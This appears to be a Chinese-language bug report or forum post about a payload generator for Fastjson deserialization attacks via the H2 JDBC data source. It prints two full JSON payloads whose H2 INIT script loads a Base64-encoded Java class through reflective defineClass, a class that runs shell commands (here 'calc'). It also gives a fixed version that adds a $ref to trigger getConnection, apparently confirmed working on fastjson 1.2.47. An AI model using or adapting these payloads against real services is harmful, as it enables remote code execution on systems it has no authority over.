Generate-FastjsonPayload-H2Jdbc直接生成的payload如下：
{
"x1": {
"@type": "java.lang.Class",
"val": "org.h2.jdbcx.JdbcDataSource"
},
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.h2.jdbcx.JdbcDataSource",
"url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode("yv66vgAAADIAQAEAbW9yZy9hcGFjaGUvY29tbW9tcy9iZWFudXRpbHMvY295b3RlL2Rlc2VyaWFsaXphdGlvbi9pbXBsL1Byb3BlcnR5QmFzZWRDcmVhdG9yM2JhMWU3YzFkMGIxNGI4ZWFiNWQ4ZTFiMDBkZjMyNzAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAEYmFzZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA3NlcAEAA2NtZAEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAsMAAkACgoABAANAQAHb3MubmFtZQgADwEAEGphdmEvbGFuZy9TeXN0ZW0HABEBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DAATABQKABIAFQEAEGphdmEvbGFuZy9TdHJpbmcHABcBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAZABoKABgAGwEAA3dpbggAHQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDAAfACAKABgAIQEAB2NtZC5leGUIACMMAAUABgkAAgAlAQACL2MIACcMAAcABgkAAgApAQAHL2Jpbi9zaAgAKwEAAi1jCAAtDAAIAAYJAAIALwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAMQEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAAkAMwoAMgA0AQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsMADYANwoAMgA4AQAIPGNsaW5pdD4BAARjYWxjCAA7CgACAA0BAARDb2RlAQANU3RhY2tNYXBUYWJsZQAhAAIABAAAAAMACQAFAAYAAAAJAAcABgAAAAkACAAGAAAAAgABAAkACgABAD4AAACEAAQAAgAAAFMqtwAOEhC4ABa2ABwSHrYAIpkAEBIkswAmEiizACqnAA0SLLMAJhIuswAqBr0AGFkDsgAmU1kEsgAqU1kFsgAwU0y7ADJZK7cANbYAOVenAARMsQABAAQATgBRAAwAAQA/AAAAFwAE/wAhAAEHAAIAAAllBwAM/AAABwAEAAgAOgAKAAEAPgAAABoAAgAAAAAADhI8swAwuwACWbcAPVexAAAAAAAA")\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class)\; method.setAccessible(true)\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\; c.newInstance()\; } catch (Exception e){ }}'\;CALL EXEC ()\;"
}
}: {}
}
在fastjson 1.2.47，h2 2.1.214，jdk8u341下测试时，命令执行失败。打断点调试后，发现没有进入对应getter方法，即org.h2.jdbcx.JdbcDataSource.getConnection。似乎是因为忘了去$ref触发getter？

简单修改了一下payload后，能够成功触发：
{
"x1": {
"@type": "java.lang.Class",
"val": "org.h2.jdbcx.JdbcDataSource"
},
"x2": {
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.h2.jdbcx.JdbcDataSource",
"url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode("yv66vgAAADIAQAEAWm9yZy9hcGFjaGUvc2hpcm8vY295b3RlL2Rlc2VyaWFsaXphdGlvbi9pbXBsL1Byb3BlcnR5VmFsdWU0NWNjYzQ5NzBmZjI0MWYwYmYzZTBjY2U4NDY1MjU5ZQcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=")\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class)\; method.setAccessible(true)\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\; c.newInstance()\; } catch (Exception e){ }}'\;CALL EXEC ()\;"
}
},
"x3": {
"$ref": "$.x2.c.connection"
}
}

请看一下是我使用方式不对，还是原payload有问题。